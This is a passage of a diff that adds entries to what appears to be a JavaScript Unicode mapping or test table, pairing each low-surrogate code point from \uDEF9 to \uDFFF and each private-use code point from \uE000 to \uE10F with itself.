+ ["\uDEF9", "\uDEF9"], /* Low Surrogate */
+ ["\uDEFA", "\uDEFA"], /* Low Surrogate */
+ ["\uDEFB", "\uDEFB"], /* Low Surrogate */
+ ["\uDEFC", "\uDEFC"], /* Low Surrogate */
+ ["\uDEFD", "\uDEFD"], /* Low Surrogate */
+ ["\uDEFE", "\uDEFE"], /* Low Surrogate */
+ ["\uDEFF", "\uDEFF"], /* Low Surrogate */
+ ["\uDF00", "\uDF00"], /* Low Surrogate */
+ ["\uDF01", "\uDF01"], /* Low Surrogate */
+ ["\uDF02", "\uDF02"], /* Low Surrogate */
+ ["\uDF03", "\uDF03"], /* Low Surrogate */
+ ["\uDF04", "\uDF04"], /* Low Surrogate */
+ ["\uDF05", "\uDF05"], /* Low Surrogate */
+ ["\uDF06", "\uDF06"], /* Low Surrogate */
+ ["\uDF07", "\uDF07"], /* Low Surrogate */
+ ["\uDF08", "\uDF08"], /* Low Surrogate */
+ ["\uDF09", "\uDF09"], /* Low Surrogate */
+ ["\uDF0A", "\uDF0A"], /* Low Surrogate */
+ ["\uDF0B", "\uDF0B"], /* Low Surrogate */
+ ["\uDF0C", "\uDF0C"], /* Low Surrogate */
+ ["\uDF0D", "\uDF0D"], /* Low Surrogate */
+ ["\uDF0E", "\uDF0E"], /* Low Surrogate */
+ ["\uDF0F", "\uDF0F"], /* Low Surrogate */
+ ["\uDF10", "\uDF10"], /* Low Surrogate */
+ ["\uDF11", "\uDF11"], /* Low Surrogate */
+ ["\uDF12", "\uDF12"], /* Low Surrogate */
+ ["\uDF13", "\uDF13"], /* Low Surrogate */
+ ["\uDF14", "\uDF14"], /* Low Surrogate */
+ ["\uDF15", "\uDF15"], /* Low Surrogate */
+ ["\uDF16", "\uDF16"], /* Low Surrogate */
+ ["\uDF17", "\uDF17"], /* Low Surrogate */
+ ["\uDF18", "\uDF18"], /* Low Surrogate */
+ ["\uDF19", "\uDF19"], /* Low Surrogate */
+ ["\uDF1A", "\uDF1A"], /* Low Surrogate */
+ ["\uDF1B", "\uDF1B"], /* Low Surrogate */
+ ["\uDF1C", "\uDF1C"], /* Low Surrogate */
+ ["\uDF1D", "\uDF1D"], /* Low Surrogate */
+ ["\uDF1E", "\uDF1E"], /* Low Surrogate */
+ ["\uDF1F", "\uDF1F"], /* Low Surrogate */
+ ["\uDF20", "\uDF20"], /* Low Surrogate */
+ ["\uDF21", "\uDF21"], /* Low Surrogate */
+ ["\uDF22", "\uDF22"], /* Low Surrogate */
+ ["\uDF23", "\uDF23"], /* Low Surrogate */
+ ["\uDF24", "\uDF24"], /* Low Surrogate */
+ ["\uDF25", "\uDF25"], /* Low Surrogate */
+ ["\uDF26", "\uDF26"], /* Low Surrogate */
+ ["\uDF27", "\uDF27"], /* Low Surrogate */
+ ["\uDF28", "\uDF28"], /* Low Surrogate */
+ ["\uDF29", "\uDF29"], /* Low Surrogate */
+ ["\uDF2A", "\uDF2A"], /* Low Surrogate */
+ ["\uDF2B", "\uDF2B"], /* Low Surrogate */
+ ["\uDF2C", "\uDF2C"], /* Low Surrogate */
+ ["\uDF2D", "\uDF2D"], /* Low Surrogate */
+ ["\uDF2E", "\uDF2E"], /* Low Surrogate */
+ ["\uDF2F", "\uDF2F"], /* Low Surrogate */
+ ["\uDF30", "\uDF30"], /* Low Surrogate */
+ ["\uDF31", "\uDF31"], /* Low Surrogate */
+ ["\uDF32", "\uDF32"], /* Low Surrogate */
+ ["\uDF33", "\uDF33"], /* Low Surrogate */
+ ["\uDF34", "\uDF34"], /* Low Surrogate */
+ ["\uDF35", "\uDF35"], /* Low Surrogate */
+ ["\uDF36", "\uDF36"], /* Low Surrogate */
+ ["\uDF37", "\uDF37"], /* Low Surrogate */
+ ["\uDF38", "\uDF38"], /* Low Surrogate */
+ ["\uDF39", "\uDF39"], /* Low Surrogate */
+ ["\uDF3A", "\uDF3A"], /* Low Surrogate */
+ ["\uDF3B", "\uDF3B"], /* Low Surrogate */
+ ["\uDF3C", "\uDF3C"], /* Low Surrogate */
+ ["\uDF3D", "\uDF3D"], /* Low Surrogate */
+ ["\uDF3E", "\uDF3E"], /* Low Surrogate */
+ ["\uDF3F", "\uDF3F"], /* Low Surrogate */
+ ["\uDF40", "\uDF40"], /* Low Surrogate */
+ ["\uDF41", "\uDF41"], /* Low Surrogate */
+ ["\uDF42", "\uDF42"], /* Low Surrogate */
+ ["\uDF43", "\uDF43"], /* Low Surrogate */
+ ["\uDF44", "\uDF44"], /* Low Surrogate */
+ ["\uDF45", "\uDF45"], /* Low Surrogate */
+ ["\uDF46", "\uDF46"], /* Low Surrogate */
+ ["\uDF47", "\uDF47"], /* Low Surrogate */
+ ["\uDF48", "\uDF48"], /* Low Surrogate */
+ ["\uDF49", "\uDF49"], /* Low Surrogate */
+ ["\uDF4A", "\uDF4A"], /* Low Surrogate */
+ ["\uDF4B", "\uDF4B"], /* Low Surrogate */
+ ["\uDF4C", "\uDF4C"], /* Low Surrogate */
+ ["\uDF4D", "\uDF4D"], /* Low Surrogate */
+ ["\uDF4E", "\uDF4E"], /* Low Surrogate */
+ ["\uDF4F", "\uDF4F"], /* Low Surrogate */
+ ["\uDF50", "\uDF50"], /* Low Surrogate */
+ ["\uDF51", "\uDF51"], /* Low Surrogate */
+ ["\uDF52", "\uDF52"], /* Low Surrogate */
+ ["\uDF53", "\uDF53"], /* Low Surrogate */
+ ["\uDF54", "\uDF54"], /* Low Surrogate */
+ ["\uDF55", "\uDF55"], /* Low Surrogate */
+ ["\uDF56", "\uDF56"], /* Low Surrogate */
+ ["\uDF57", "\uDF57"], /* Low Surrogate */
+ ["\uDF58", "\uDF58"], /* Low Surrogate */
+ ["\uDF59", "\uDF59"], /* Low Surrogate */
+ ["\uDF5A", "\uDF5A"], /* Low Surrogate */
+ ["\uDF5B", "\uDF5B"], /* Low Surrogate */
+ ["\uDF5C", "\uDF5C"], /* Low Surrogate */
+ ["\uDF5D", "\uDF5D"], /* Low Surrogate */
+ ["\uDF5E", "\uDF5E"], /* Low Surrogate */
+ ["\uDF5F", "\uDF5F"], /* Low Surrogate */
+ ["\uDF60", "\uDF60"], /* Low Surrogate */
+ ["\uDF61", "\uDF61"], /* Low Surrogate */
+ ["\uDF62", "\uDF62"], /* Low Surrogate */
+ ["\uDF63", "\uDF63"], /* Low Surrogate */
+ ["\uDF64", "\uDF64"], /* Low Surrogate */
+ ["\uDF65", "\uDF65"], /* Low Surrogate */
+ ["\uDF66", "\uDF66"], /* Low Surrogate */
+ ["\uDF67", "\uDF67"], /* Low Surrogate */
+ ["\uDF68", "\uDF68"], /* Low Surrogate */
+ ["\uDF69", "\uDF69"], /* Low Surrogate */
+ ["\uDF6A", "\uDF6A"], /* Low Surrogate */
+ ["\uDF6B", "\uDF6B"], /* Low Surrogate */
+ ["\uDF6C", "\uDF6C"], /* Low Surrogate */
+ ["\uDF6D", "\uDF6D"], /* Low Surrogate */
+ ["\uDF6E", "\uDF6E"], /* Low Surrogate */
+ ["\uDF6F", "\uDF6F"], /* Low Surrogate */
+ ["\uDF70", "\uDF70"], /* Low Surrogate */
+ ["\uDF71", "\uDF71"], /* Low Surrogate */
+ ["\uDF72", "\uDF72"], /* Low Surrogate */
+ ["\uDF73", "\uDF73"], /* Low Surrogate */
+ ["\uDF74", "\uDF74"], /* Low Surrogate */
+ ["\uDF75", "\uDF75"], /* Low Surrogate */
+ ["\uDF76", "\uDF76"], /* Low Surrogate */
+ ["\uDF77", "\uDF77"], /* Low Surrogate */
+ ["\uDF78", "\uDF78"], /* Low Surrogate */
+ ["\uDF79", "\uDF79"], /* Low Surrogate */
+ ["\uDF7A", "\uDF7A"], /* Low Surrogate */
+ ["\uDF7B", "\uDF7B"], /* Low Surrogate */
+ ["\uDF7C", "\uDF7C"], /* Low Surrogate */
+ ["\uDF7D", "\uDF7D"], /* Low Surrogate */
+ ["\uDF7E", "\uDF7E"], /* Low Surrogate */
+ ["\uDF7F", "\uDF7F"], /* Low Surrogate */
+ ["\uDF80", "\uDF80"], /* Low Surrogate */
+ ["\uDF81", "\uDF81"], /* Low Surrogate */
+ ["\uDF82", "\uDF82"], /* Low Surrogate */
+ ["\uDF83", "\uDF83"], /* Low Surrogate */
+ ["\uDF84", "\uDF84"], /* Low Surrogate */
+ ["\uDF85", "\uDF85"], /* Low Surrogate */
+ ["\uDF86", "\uDF86"], /* Low Surrogate */
+ ["\uDF87", "\uDF87"], /* Low Surrogate */
+ ["\uDF88", "\uDF88"], /* Low Surrogate */
+ ["\uDF89", "\uDF89"], /* Low Surrogate */
+ ["\uDF8A", "\uDF8A"], /* Low Surrogate */
+ ["\uDF8B", "\uDF8B"], /* Low Surrogate */
+ ["\uDF8C", "\uDF8C"], /* Low Surrogate */
+ ["\uDF8D", "\uDF8D"], /* Low Surrogate */
+ ["\uDF8E", "\uDF8E"], /* Low Surrogate */
+ ["\uDF8F", "\uDF8F"], /* Low Surrogate */
+ ["\uDF90", "\uDF90"], /* Low Surrogate */
+ ["\uDF91", "\uDF91"], /* Low Surrogate */
+ ["\uDF92", "\uDF92"], /* Low Surrogate */
+ ["\uDF93", "\uDF93"], /* Low Surrogate */
+ ["\uDF94", "\uDF94"], /* Low Surrogate */
+ ["\uDF95", "\uDF95"], /* Low Surrogate */
+ ["\uDF96", "\uDF96"], /* Low Surrogate */
+ ["\uDF97", "\uDF97"], /* Low Surrogate */
+ ["\uDF98", "\uDF98"], /* Low Surrogate */
+ ["\uDF99", "\uDF99"], /* Low Surrogate */
+ ["\uDF9A", "\uDF9A"], /* Low Surrogate */
+ ["\uDF9B", "\uDF9B"], /* Low Surrogate */
+ ["\uDF9C", "\uDF9C"], /* Low Surrogate */
+ ["\uDF9D", "\uDF9D"], /* Low Surrogate */
+ ["\uDF9E", "\uDF9E"], /* Low Surrogate */
+ ["\uDF9F", "\uDF9F"], /* Low Surrogate */
+ ["\uDFA0", "\uDFA0"], /* Low Surrogate */
+ ["\uDFA1", "\uDFA1"], /* Low Surrogate */
+ ["\uDFA2", "\uDFA2"], /* Low Surrogate */
+ ["\uDFA3", "\uDFA3"], /* Low Surrogate */
+ ["\uDFA4", "\uDFA4"], /* Low Surrogate */
+ ["\uDFA5", "\uDFA5"], /* Low Surrogate */
+ ["\uDFA6", "\uDFA6"], /* Low Surrogate */
+ ["\uDFA7", "\uDFA7"], /* Low Surrogate */
+ ["\uDFA8", "\uDFA8"], /* Low Surrogate */
+ ["\uDFA9", "\uDFA9"], /* Low Surrogate */
+ ["\uDFAA", "\uDFAA"], /* Low Surrogate */
+ ["\uDFAB", "\uDFAB"], /* Low Surrogate */
+ ["\uDFAC", "\uDFAC"], /* Low Surrogate */
+ ["\uDFAD", "\uDFAD"], /* Low Surrogate */
+ ["\uDFAE", "\uDFAE"], /* Low Surrogate */
+ ["\uDFAF", "\uDFAF"], /* Low Surrogate */
+ ["\uDFB0", "\uDFB0"], /* Low Surrogate */
+ ["\uDFB1", "\uDFB1"], /* Low Surrogate */
+ ["\uDFB2", "\uDFB2"], /* Low Surrogate */
+ ["\uDFB3", "\uDFB3"], /* Low Surrogate */
+ ["\uDFB4", "\uDFB4"], /* Low Surrogate */
+ ["\uDFB5", "\uDFB5"], /* Low Surrogate */
+ ["\uDFB6", "\uDFB6"], /* Low Surrogate */
+ ["\uDFB7", "\uDFB7"], /* Low Surrogate */
+ ["\uDFB8", "\uDFB8"], /* Low Surrogate */
+ ["\uDFB9", "\uDFB9"], /* Low Surrogate */
+ ["\uDFBA", "\uDFBA"], /* Low Surrogate */
+ ["\uDFBB", "\uDFBB"], /* Low Surrogate */
+ ["\uDFBC", "\uDFBC"], /* Low Surrogate */
+ ["\uDFBD", "\uDFBD"], /* Low Surrogate */
+ ["\uDFBE", "\uDFBE"], /* Low Surrogate */
+ ["\uDFBF", "\uDFBF"], /* Low Surrogate */
+ ["\uDFC0", "\uDFC0"], /* Low Surrogate */
+ ["\uDFC1", "\uDFC1"], /* Low Surrogate */
+ ["\uDFC2", "\uDFC2"], /* Low Surrogate */
+ ["\uDFC3", "\uDFC3"], /* Low Surrogate */
+ ["\uDFC4", "\uDFC4"], /* Low Surrogate */
+ ["\uDFC5", "\uDFC5"], /* Low Surrogate */
+ ["\uDFC6", "\uDFC6"], /* Low Surrogate */
+ ["\uDFC7", "\uDFC7"], /* Low Surrogate */
+ ["\uDFC8", "\uDFC8"], /* Low Surrogate */
+ ["\uDFC9", "\uDFC9"], /* Low Surrogate */
+ ["\uDFCA", "\uDFCA"], /* Low Surrogate */
+ ["\uDFCB", "\uDFCB"], /* Low Surrogate */
+ ["\uDFCC", "\uDFCC"], /* Low Surrogate */
+ ["\uDFCD", "\uDFCD"], /* Low Surrogate */
+ ["\uDFCE", "\uDFCE"], /* Low Surrogate */
+ ["\uDFCF", "\uDFCF"], /* Low Surrogate */
+ ["\uDFD0", "\uDFD0"], /* Low Surrogate */
+ ["\uDFD1", "\uDFD1"], /* Low Surrogate */
+ ["\uDFD2", "\uDFD2"], /* Low Surrogate */
+ ["\uDFD3", "\uDFD3"], /* Low Surrogate */
+ ["\uDFD4", "\uDFD4"], /* Low Surrogate */
+ ["\uDFD5", "\uDFD5"], /* Low Surrogate */
+ ["\uDFD6", "\uDFD6"], /* Low Surrogate */
+ ["\uDFD7", "\uDFD7"], /* Low Surrogate */
+ ["\uDFD8", "\uDFD8"], /* Low Surrogate */
+ ["\uDFD9", "\uDFD9"], /* Low Surrogate */
+ ["\uDFDA", "\uDFDA"], /* Low Surrogate */
+ ["\uDFDB", "\uDFDB"], /* Low Surrogate */
+ ["\uDFDC", "\uDFDC"], /* Low Surrogate */
+ ["\uDFDD", "\uDFDD"], /* Low Surrogate */
+ ["\uDFDE", "\uDFDE"], /* Low Surrogate */
+ ["\uDFDF", "\uDFDF"], /* Low Surrogate */
+ ["\uDFE0", "\uDFE0"], /* Low Surrogate */
+ ["\uDFE1", "\uDFE1"], /* Low Surrogate */
+ ["\uDFE2", "\uDFE2"], /* Low Surrogate */
+ ["\uDFE3", "\uDFE3"], /* Low Surrogate */
+ ["\uDFE4", "\uDFE4"], /* Low Surrogate */
+ ["\uDFE5", "\uDFE5"], /* Low Surrogate */
+ ["\uDFE6", "\uDFE6"], /* Low Surrogate */
+ ["\uDFE7", "\uDFE7"], /* Low Surrogate */
+ ["\uDFE8", "\uDFE8"], /* Low Surrogate */
+ ["\uDFE9", "\uDFE9"], /* Low Surrogate */
+ ["\uDFEA", "\uDFEA"], /* Low Surrogate */
+ ["\uDFEB", "\uDFEB"], /* Low Surrogate */
+ ["\uDFEC", "\uDFEC"], /* Low Surrogate */
+ ["\uDFED", "\uDFED"], /* Low Surrogate */
+ ["\uDFEE", "\uDFEE"], /* Low Surrogate */
+ ["\uDFEF", "\uDFEF"], /* Low Surrogate */
+ ["\uDFF0", "\uDFF0"], /* Low Surrogate */
+ ["\uDFF1", "\uDFF1"], /* Low Surrogate */
+ ["\uDFF2", "\uDFF2"], /* Low Surrogate */
+ ["\uDFF3", "\uDFF3"], /* Low Surrogate */
+ ["\uDFF4", "\uDFF4"], /* Low Surrogate */
+ ["\uDFF5", "\uDFF5"], /* Low Surrogate */
+ ["\uDFF6", "\uDFF6"], /* Low Surrogate */
+ ["\uDFF7", "\uDFF7"], /* Low Surrogate */
+ ["\uDFF8", "\uDFF8"], /* Low Surrogate */
+ ["\uDFF9", "\uDFF9"], /* Low Surrogate */
+ ["\uDFFA", "\uDFFA"], /* Low Surrogate */
+ ["\uDFFB", "\uDFFB"], /* Low Surrogate */
+ ["\uDFFC", "\uDFFC"], /* Low Surrogate */
+ ["\uDFFD", "\uDFFD"], /* Low Surrogate */
+ ["\uDFFE", "\uDFFE"], /* Low Surrogate */
+ ["\uDFFF", "\uDFFF"], /* Low Surrogate */
+ ["\uE000", "\uE000"], /* Private Use */
+ ["\uE001", "\uE001"], /* Private Use */
+ ["\uE002", "\uE002"], /* Private Use */
+ ["\uE003", "\uE003"], /* Private Use */
+ ["\uE004", "\uE004"], /* Private Use */
+ ["\uE005", "\uE005"], /* Private Use */
+ ["\uE006", "\uE006"], /* Private Use */
+ ["\uE007", "\uE007"], /* Private Use */
+ ["\uE008", "\uE008"], /* Private Use */
+ ["\uE009", "\uE009"], /* Private Use */
+ ["\uE00A", "\uE00A"], /* Private Use */
+ ["\uE00B", "\uE00B"], /* Private Use */
+ ["\uE00C", "\uE00C"], /* Private Use */
+ ["\uE00D", "\uE00D"], /* Private Use */
+ ["\uE00E", "\uE00E"], /* Private Use */
+ ["\uE00F", "\uE00F"], /* Private Use */
+ ["\uE010", "\uE010"], /* Private Use */
+ ["\uE011", "\uE011"], /* Private Use */
+ ["\uE012", "\uE012"], /* Private Use */
+ ["\uE013", "\uE013"], /* Private Use */
+ ["\uE014", "\uE014"], /* Private Use */
+ ["\uE015", "\uE015"], /* Private Use */
+ ["\uE016", "\uE016"], /* Private Use */
+ ["\uE017", "\uE017"], /* Private Use */
+ ["\uE018", "\uE018"], /* Private Use */
+ ["\uE019", "\uE019"], /* Private Use */
+ ["\uE01A", "\uE01A"], /* Private Use */
+ ["\uE01B", "\uE01B"], /* Private Use */
+ ["\uE01C", "\uE01C"], /* Private Use */
+ ["\uE01D", "\uE01D"], /* Private Use */
+ ["\uE01E", "\uE01E"], /* Private Use */
+ ["\uE01F", "\uE01F"], /* Private Use */
+ ["\uE020", "\uE020"], /* Private Use */
+ ["\uE021", "\uE021"], /* Private Use */
+ ["\uE022", "\uE022"], /* Private Use */
+ ["\uE023", "\uE023"], /* Private Use */
+ ["\uE024", "\uE024"], /* Private Use */
+ ["\uE025", "\uE025"], /* Private Use */
+ ["\uE026", "\uE026"], /* Private Use */
+ ["\uE027", "\uE027"], /* Private Use */
+ ["\uE028", "\uE028"], /* Private Use */
+ ["\uE029", "\uE029"], /* Private Use */
+ ["\uE02A", "\uE02A"], /* Private Use */
+ ["\uE02B", "\uE02B"], /* Private Use */
+ ["\uE02C", "\uE02C"], /* Private Use */
+ ["\uE02D", "\uE02D"], /* Private Use */
+ ["\uE02E", "\uE02E"], /* Private Use */
+ ["\uE02F", "\uE02F"], /* Private Use */
+ ["\uE030", "\uE030"], /* Private Use */
+ ["\uE031", "\uE031"], /* Private Use */
+ ["\uE032", "\uE032"], /* Private Use */
+ ["\uE033", "\uE033"], /* Private Use */
+ ["\uE034", "\uE034"], /* Private Use */
+ ["\uE035", "\uE035"], /* Private Use */
+ ["\uE036", "\uE036"], /* Private Use */
+ ["\uE037", "\uE037"], /* Private Use */
+ ["\uE038", "\uE038"], /* Private Use */
+ ["\uE039", "\uE039"], /* Private Use */
+ ["\uE03A", "\uE03A"], /* Private Use */
+ ["\uE03B", "\uE03B"], /* Private Use */
+ ["\uE03C", "\uE03C"], /* Private Use */
+ ["\uE03D", "\uE03D"], /* Private Use */
+ ["\uE03E", "\uE03E"], /* Private Use */
+ ["\uE03F", "\uE03F"], /* Private Use */
+ ["\uE040", "\uE040"], /* Private Use */
+ ["\uE041", "\uE041"], /* Private Use */
+ ["\uE042", "\uE042"], /* Private Use */
+ ["\uE043", "\uE043"], /* Private Use */
+ ["\uE044", "\uE044"], /* Private Use */
+ ["\uE045", "\uE045"], /* Private Use */
+ ["\uE046", "\uE046"], /* Private Use */
+ ["\uE047", "\uE047"], /* Private Use */
+ ["\uE048", "\uE048"], /* Private Use */
+ ["\uE049", "\uE049"], /* Private Use */
+ ["\uE04A", "\uE04A"], /* Private Use */
+ ["\uE04B", "\uE04B"], /* Private Use */
+ ["\uE04C", "\uE04C"], /* Private Use */
+ ["\uE04D", "\uE04D"], /* Private Use */
+ ["\uE04E", "\uE04E"], /* Private Use */
+ ["\uE04F", "\uE04F"], /* Private Use */
+ ["\uE050", "\uE050"], /* Private Use */
+ ["\uE051", "\uE051"], /* Private Use */
+ ["\uE052", "\uE052"], /* Private Use */
+ ["\uE053", "\uE053"], /* Private Use */
+ ["\uE054", "\uE054"], /* Private Use */
+ ["\uE055", "\uE055"], /* Private Use */
+ ["\uE056", "\uE056"], /* Private Use */
+ ["\uE057", "\uE057"], /* Private Use */
+ ["\uE058", "\uE058"], /* Private Use */
+ ["\uE059", "\uE059"], /* Private Use */
+ ["\uE05A", "\uE05A"], /* Private Use */
+ ["\uE05B", "\uE05B"], /* Private Use */
+ ["\uE05C", "\uE05C"], /* Private Use */
+ ["\uE05D", "\uE05D"], /* Private Use */
+ ["\uE05E", "\uE05E"], /* Private Use */
+ ["\uE05F", "\uE05F"], /* Private Use */
+ ["\uE060", "\uE060"], /* Private Use */
+ ["\uE061", "\uE061"], /* Private Use */
+ ["\uE062", "\uE062"], /* Private Use */
+ ["\uE063", "\uE063"], /* Private Use */
+ ["\uE064", "\uE064"], /* Private Use */
+ ["\uE065", "\uE065"], /* Private Use */
+ ["\uE066", "\uE066"], /* Private Use */
+ ["\uE067", "\uE067"], /* Private Use */
+ ["\uE068", "\uE068"], /* Private Use */
+ ["\uE069", "\uE069"], /* Private Use */
+ ["\uE06A", "\uE06A"], /* Private Use */
+ ["\uE06B", "\uE06B"], /* Private Use */
+ ["\uE06C", "\uE06C"], /* Private Use */
+ ["\uE06D", "\uE06D"], /* Private Use */
+ ["\uE06E", "\uE06E"], /* Private Use */
+ ["\uE06F", "\uE06F"], /* Private Use */
+ ["\uE070", "\uE070"], /* Private Use */
+ ["\uE071", "\uE071"], /* Private Use */
+ ["\uE072", "\uE072"], /* Private Use */
+ ["\uE073", "\uE073"], /* Private Use */
+ ["\uE074", "\uE074"], /* Private Use */
+ ["\uE075", "\uE075"], /* Private Use */
+ ["\uE076", "\uE076"], /* Private Use */
+ ["\uE077", "\uE077"], /* Private Use */
+ ["\uE078", "\uE078"], /* Private Use */
+ ["\uE079", "\uE079"], /* Private Use */
+ ["\uE07A", "\uE07A"], /* Private Use */
+ ["\uE07B", "\uE07B"], /* Private Use */
+ ["\uE07C", "\uE07C"], /* Private Use */
+ ["\uE07D", "\uE07D"], /* Private Use */
+ ["\uE07E", "\uE07E"], /* Private Use */
+ ["\uE07F", "\uE07F"], /* Private Use */
+ ["\uE080", "\uE080"], /* Private Use */
+ ["\uE081", "\uE081"], /* Private Use */
+ ["\uE082", "\uE082"], /* Private Use */
+ ["\uE083", "\uE083"], /* Private Use */
+ ["\uE084", "\uE084"], /* Private Use */
+ ["\uE085", "\uE085"], /* Private Use */
+ ["\uE086", "\uE086"], /* Private Use */
+ ["\uE087", "\uE087"], /* Private Use */
+ ["\uE088", "\uE088"], /* Private Use */
+ ["\uE089", "\uE089"], /* Private Use */
+ ["\uE08A", "\uE08A"], /* Private Use */
+ ["\uE08B", "\uE08B"], /* Private Use */
+ ["\uE08C", "\uE08C"], /* Private Use */
+ ["\uE08D", "\uE08D"], /* Private Use */
+ ["\uE08E", "\uE08E"], /* Private Use */
+ ["\uE08F", "\uE08F"], /* Private Use */
+ ["\uE090", "\uE090"], /* Private Use */
+ ["\uE091", "\uE091"], /* Private Use */
+ ["\uE092", "\uE092"], /* Private Use */
+ ["\uE093", "\uE093"], /* Private Use */
+ ["\uE094", "\uE094"], /* Private Use */
+ ["\uE095", "\uE095"], /* Private Use */
+ ["\uE096", "\uE096"], /* Private Use */
+ ["\uE097", "\uE097"], /* Private Use */
+ ["\uE098", "\uE098"], /* Private Use */
+ ["\uE099", "\uE099"], /* Private Use */
+ ["\uE09A", "\uE09A"], /* Private Use */
+ ["\uE09B", "\uE09B"], /* Private Use */
+ ["\uE09C", "\uE09C"], /* Private Use */
+ ["\uE09D", "\uE09D"], /* Private Use */
+ ["\uE09E", "\uE09E"], /* Private Use */
+ ["\uE09F", "\uE09F"], /* Private Use */
+ ["\uE0A0", "\uE0A0"], /* Private Use */
+ ["\uE0A1", "\uE0A1"], /* Private Use */
+ ["\uE0A2", "\uE0A2"], /* Private Use */
+ ["\uE0A3", "\uE0A3"], /* Private Use */
+ ["\uE0A4", "\uE0A4"], /* Private Use */
+ ["\uE0A5", "\uE0A5"], /* Private Use */
+ ["\uE0A6", "\uE0A6"], /* Private Use */
+ ["\uE0A7", "\uE0A7"], /* Private Use */
+ ["\uE0A8", "\uE0A8"], /* Private Use */
+ ["\uE0A9", "\uE0A9"], /* Private Use */
+ ["\uE0AA", "\uE0AA"], /* Private Use */
+ ["\uE0AB", "\uE0AB"], /* Private Use */
+ ["\uE0AC", "\uE0AC"], /* Private Use */
+ ["\uE0AD", "\uE0AD"], /* Private Use */
+ ["\uE0AE", "\uE0AE"], /* Private Use */
+ ["\uE0AF", "\uE0AF"], /* Private Use */
+ ["\uE0B0", "\uE0B0"], /* Private Use */
+ ["\uE0B1", "\uE0B1"], /* Private Use */
+ ["\uE0B2", "\uE0B2"], /* Private Use */
+ ["\uE0B3", "\uE0B3"], /* Private Use */
+ ["\uE0B4", "\uE0B4"], /* Private Use */
+ ["\uE0B5", "\uE0B5"], /* Private Use */
+ ["\uE0B6", "\uE0B6"], /* Private Use */
+ ["\uE0B7", "\uE0B7"], /* Private Use */
+ ["\uE0B8", "\uE0B8"], /* Private Use */
+ ["\uE0B9", "\uE0B9"], /* Private Use */
+ ["\uE0BA", "\uE0BA"], /* Private Use */
+ ["\uE0BB", "\uE0BB"], /* Private Use */
+ ["\uE0BC", "\uE0BC"], /* Private Use */
+ ["\uE0BD", "\uE0BD"], /* Private Use */
+ ["\uE0BE", "\uE0BE"], /* Private Use */
+ ["\uE0BF", "\uE0BF"], /* Private Use */
+ ["\uE0C0", "\uE0C0"], /* Private Use */
+ ["\uE0C1", "\uE0C1"], /* Private Use */
+ ["\uE0C2", "\uE0C2"], /* Private Use */
+ ["\uE0C3", "\uE0C3"], /* Private Use */
+ ["\uE0C4", "\uE0C4"], /* Private Use */
+ ["\uE0C5", "\uE0C5"], /* Private Use */
+ ["\uE0C6", "\uE0C6"], /* Private Use */
+ ["\uE0C7", "\uE0C7"], /* Private Use */
+ ["\uE0C8", "\uE0C8"], /* Private Use */
+ ["\uE0C9", "\uE0C9"], /* Private Use */
+ ["\uE0CA", "\uE0CA"], /* Private Use */
+ ["\uE0CB", "\uE0CB"], /* Private Use */
+ ["\uE0CC", "\uE0CC"], /* Private Use */
+ ["\uE0CD", "\uE0CD"], /* Private Use */
+ ["\uE0CE", "\uE0CE"], /* Private Use */
+ ["\uE0CF", "\uE0CF"], /* Private Use */
+ ["\uE0D0", "\uE0D0"], /* Private Use */
+ ["\uE0D1", "\uE0D1"], /* Private Use */
+ ["\uE0D2", "\uE0D2"], /* Private Use */
+ ["\uE0D3", "\uE0D3"], /* Private Use */
+ ["\uE0D4", "\uE0D4"], /* Private Use */
+ ["\uE0D5", "\uE0D5"], /* Private Use */
+ ["\uE0D6", "\uE0D6"], /* Private Use */
+ ["\uE0D7", "\uE0D7"], /* Private Use */
+ ["\uE0D8", "\uE0D8"], /* Private Use */
+ ["\uE0D9", "\uE0D9"], /* Private Use */
+ ["\uE0DA", "\uE0DA"], /* Private Use */
+ ["\uE0DB", "\uE0DB"], /* Private Use */
+ ["\uE0DC", "\uE0DC"], /* Private Use */
+ ["\uE0DD", "\uE0DD"], /* Private Use */
+ ["\uE0DE", "\uE0DE"], /* Private Use */
+ ["\uE0DF", "\uE0DF"], /* Private Use */
+ ["\uE0E0", "\uE0E0"], /* Private Use */
+ ["\uE0E1", "\uE0E1"], /* Private Use */
+ ["\uE0E2", "\uE0E2"], /* Private Use */
+ ["\uE0E3", "\uE0E3"], /* Private Use */
+ ["\uE0E4", "\uE0E4"], /* Private Use */
+ ["\uE0E5", "\uE0E5"], /* Private Use */
+ ["\uE0E6", "\uE0E6"], /* Private Use */
+ ["\uE0E7", "\uE0E7"], /* Private Use */
+ ["\uE0E8", "\uE0E8"], /* Private Use */
+ ["\uE0E9", "\uE0E9"], /* Private Use */
+ ["\uE0EA", "\uE0EA"], /* Private Use */
+ ["\uE0EB", "\uE0EB"], /* Private Use */
+ ["\uE0EC", "\uE0EC"], /* Private Use */
+ ["\uE0ED", "\uE0ED"], /* Private Use */
+ ["\uE0EE", "\uE0EE"], /* Private Use */
+ ["\uE0EF", "\uE0EF"], /* Private Use */
+ ["\uE0F0", "\uE0F0"], /* Private Use */
+ ["\uE0F1", "\uE0F1"], /* Private Use */
+ ["\uE0F2", "\uE0F2"], /* Private Use */
+ ["\uE0F3", "\uE0F3"], /* Private Use */
+ ["\uE0F4", "\uE0F4"], /* Private Use */
+ ["\uE0F5", "\uE0F5"], /* Private Use */
+ ["\uE0F6", "\uE0F6"], /* Private Use */
+ ["\uE0F7", "\uE0F7"], /* Private Use */
+ ["\uE0F8", "\uE0F8"], /* Private Use */
+ ["\uE0F9", "\uE0F9"], /* Private Use */
+ ["\uE0FA", "\uE0FA"], /* Private Use */
+ ["\uE0FB", "\uE0FB"], /* Private Use */
+ ["\uE0FC", "\uE0FC"], /* Private Use */
+ ["\uE0FD", "\uE0FD"], /* Private Use */
+ ["\uE0FE", "\uE0FE"], /* Private Use */
+ ["\uE0FF", "\uE0FF"], /* Private Use */
+ ["\uE100", "\uE100"], /* Private Use */
+ ["\uE101", "\uE101"], /* Private Use */
+ ["\uE102", "\uE102"], /* Private Use */
+ ["\uE103", "\uE103"], /* Private Use */
+ ["\uE104", "\uE104"], /* Private Use */
+ ["\uE105", "\uE105"], /* Private Use */
+ ["\uE106", "\uE106"], /* Private Use */
+ ["\uE107", "\uE107"], /* Private Use */
+ ["\uE108", "\uE108"], /* Private Use */
+ ["\uE109", "\uE109"], /* Private Use */
+ ["\uE10A", "\uE10A"], /* Private Use */
+ ["\uE10B", "\uE10B"], /* Private Use */
+ ["\uE10C", "\uE10C"], /* Private Use */
+ ["\uE10D", "\uE10D"], /* Private Use */
+ ["\uE10E", "\uE10E"], /* Private Use */
+ ["\uE10F", "\uE10F"], /* Private Use */
